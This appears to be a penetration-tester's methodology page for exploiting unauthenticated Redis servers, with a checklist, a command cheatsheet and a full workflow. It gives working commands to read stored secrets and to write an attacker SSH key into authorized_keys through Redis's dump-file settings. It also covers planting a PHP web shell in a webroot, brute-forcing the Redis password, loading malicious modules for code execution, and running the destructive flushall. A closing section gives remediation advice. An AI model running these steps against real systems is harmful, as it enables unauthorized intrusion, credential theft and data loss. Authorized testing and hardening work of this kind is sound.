π‘οΈ Methodology Checklist
- Connect unauthenticated:
redis-cli -h [TARGET_IP](default port 6379) - Confirm no auth:
PING/INFO/CONFIG GET *β noNOAUTHerror - Fingerprint version + role:
INFO server - Enumerate databases and keys:
INFO keyspaceβSELECT nβKEYS *βGET [KEY] - Locate writable dir:
CONFIG GET dirthen probeCONFIG SET dir [PATH] - File-write primitive β SSH: generate keypair, pad pubkey, write to
authorized_keys,SAVE, SSH in - Alternative writes: web shell into webroot (same dir/dbfilename trick)
- RCE pointer:
MODULE LOADon modern Redis - If
requirepassset:-a [PASSWORD], brute, or hunt password in app configs
π― Operational Context
Use when: Redis (port 6379) is exposed β confirm it answers without authentication, enumerate stored data, and β most importantly β abuse its config-driven file write to land an SSH foothold or web shell.
Think Dumber First: redis-cli -h [TARGET_IP] β INFO. If it answers without a NOAUTH Authentication required error, it is wide open. Treat unauthenticated Redis as a file-WRITE primitive, not just a data-read finding β CONFIG SET dir + dbfilename lets you write the Redis dump file anywhere the service user can write.
Skip when: Redis is bound to localhost only (protected mode) with no pivot available, or hardened with requirepass and you have no credentials.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
sudo nmap -sC -sV -p 6379 [TARGET_IP] | Redis version scan + script detection |
redis-cli -h [TARGET_IP] | Open interactive Redis session (default port 6379) |
redis-cli -h [TARGET_IP] PING | Liveness check β PONG = reachable, no auth |
redis-cli -h [TARGET_IP] INFO | Full server info dump (version, role, keyspace) |
redis-cli -h [TARGET_IP] CONFIG GET * | Dump full config β no NOAUTH error = unauthenticated |
redis-cli -h [TARGET_IP] CONFIG GET dir | Show current working directory (where dump file lands) |
redis-cli -h [TARGET_IP] -a [PASSWORD] INFO | Authenticate with requirepass value |
redis-cli -h [TARGET_IP] KEYS '*' | List all keys in current database |
redis-cli -h [TARGET_IP] -n 1 KEYS '*' | List keys in database index 1 |
redis-cli -h [TARGET_IP] flushall | Clear all keys (CAUTION β destructive; only on lab targets) |
redis-cli -h [TARGET_IP] -x set [KEY] | Set a key from stdin (used to pipe in a padded SSH key) |
nxc redis [TARGET_IP] | NetExec Redis enumeration / auth check |
π¬ Deep Dive & Workflow
Detecting Unauthenticated Redis
Default Redis listens on 6379/tcp and, when misconfigured, accepts commands with no password:
redis-cli -h [TARGET_IP]
[TARGET_IP]:6379> PING
PONG
[TARGET_IP]:6379> INFO
[TARGET_IP]:6379> CONFIG GET *If any of these succeed without a NOAUTH Authentication required error, the instance is unauthenticated. A NOAUTH reply means requirepass is set β see the auth fallback below.
Quick Enumeration
# Server fingerprint β version, role (master/slave), OS
[TARGET_IP]:6379> INFO server
# Which databases hold data
[TARGET_IP]:6379> INFO keyspace
# Current working directory (where the dump file is written)
[TARGET_IP]:6379> CONFIG GET dir
# Switch databases and read values
[TARGET_IP]:6379> SELECT 0
[TARGET_IP]:6379> KEYS *
[TARGET_IP]:6379> GET [KEY]Stored values frequently contain session tokens, cached credentials, or application secrets worth harvesting before moving to the write primitive.
THE KEY PRIMITIVE β File Write β SSH Foothold
An unauthenticated (or low-priv) Redis is a file-WRITE primitive. Redis persists its dataset to a dump file whose path (dir) and name (dbfilename) are both runtime-configurable. Point them at a target userβs .ssh/authorized_keys, store your padded SSH public key as a value, then force a SAVE to flush it to disk.
The key is padded with leading/trailing newlines so the surrounding Redis dump-file bytes land on separate lines and donβt corrupt the authorized_keys entry:
# 1. On the attacker β generate a keypair and build a padded public key
ssh-keygen -t rsa -f ./key -N ""
(echo -e "\n\n"; cat ./key.pub; echo -e "\n\n") > pubkey.txt
# 2. Pipe the padded key into Redis as a value
cat pubkey.txt | redis-cli -h [TARGET_IP] -x set crackit
# 3. Redirect the dump file at the target's authorized_keys and flush
redis-cli -h [TARGET_IP] flushall # CAUTION: destructive β clears existing keys
redis-cli -h [TARGET_IP] config set dir /home/[USER]/.ssh/
redis-cli -h [TARGET_IP] config set dbfilename authorized_keys
redis-cli -h [TARGET_IP] save
# 4. Log in over SSH with the private key
ssh -i key [USER]@[TARGET_IP]Probing CONFIG SET dir [PATH] doubles as directory recon: an error means the path is missing, OK means it exists and is writable by the Redis service user (commonly redis, sometimes a real user with a home directory).
Alternative Write Targets
Same dir + dbfilename trick, different destination:
- Web shell into a webroot β if a web server is co-hosted and you know its document root:
redis-cli -h [TARGET_IP] config set dir /var/www/html/ redis-cli -h [TARGET_IP] config set dbfilename shell.php redis-cli -h [TARGET_IP] -x set crackit < shell.php # padded PHP payload redis-cli -h [TARGET_IP] save # Trigger via http://[TARGET_IP]/shell.php - Module-load RCE β modern Redis (β₯ 4.0) supports loadable modules. If you can stage a malicious
.so(e.g. via the same file-write primitive),MODULE LOAD /path/to/exp.soregisters attacker-defined commands for direct RCE. Treat this as a pointer for hardened/newer targets where the SSH/webroot routes are blocked.
Auth-Required Fallback
If requirepass is configured, commands return NOAUTH Authentication required. Options:
# Try a known/guessed password
redis-cli -h [TARGET_IP] -a [PASSWORD] INFO
# Brute-force the password (Redis AUTH)
nmap --script redis-brute -p 6379 [TARGET_IP]Most reliably: hunt the password in application configs β Redis credentials are routinely hardcoded in app config files, environment files, or source youβve already pulled (look for requirepass, REDIS_PASSWORD, connection strings).
π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
NOAUTH Authentication required | requirepass is set | Authenticate: redis-cli -h [TARGET_IP] -a [PASSWORD]; or brute-force; or hunt the password in app configs |
(error) ... protected mode / DENIED Redis is running in protected mode | Redis bound to localhost only (no external bind, no password) | Reachable only from the host β pivot/tunnel to it (see Pivoting_SSH_Tunneling) then connect to 127.0.0.1:6379 |
CONFIG SET dir returns an error | Target directory does not exist or service user canβt write it | Pick an existing, writable path β redis userβs home (/var/lib/redis/.ssh) or a known webroot; the error itself is directory recon |
| Key written but SSH still fails | Wrong target home dir, bad .ssh perms, or key not padded with newlines | Confirm the correct userβs home; ensure .ssh exists and is 700 / authorized_keys is 600; re-pad the pubkey with leading + trailing \n\n |
flushall wiped data on a live system | Destructive command run on production | Never run flushall outside a lab β on real engagements set the key without flushing and document the risk |
π Reporting Trigger
Finding Title: Unauthenticated Redis Instance Permits Arbitrary File Write and Remote Code Execution
Impact: An exposed Redis service accepting unauthenticated commands exposes its config-driven persistence to abuse. An attacker can redirect the database dump file to write arbitrary content anywhere the service user can write β planting an SSH authorized_keys entry or web shell β yielding a remote foothold and, via module loading, direct code execution.
Root Cause: Redis exposed on a network-reachable interface with no requirepass set and protected mode disabled. Runtime-mutable dir/dbfilename allow the dump file to be written to sensitive locations.
Recommendation: Bind Redis to localhost or a trusted internal interface only. Enforce authentication with a strong requirepass (or ACL users). Keep protected mode enabled. Run Redis as a dedicated low-privilege user with no SSH/home write access. Disable MODULE LOAD and restrict CONFIG access where supported. Firewall port 6379 from untrusted networks.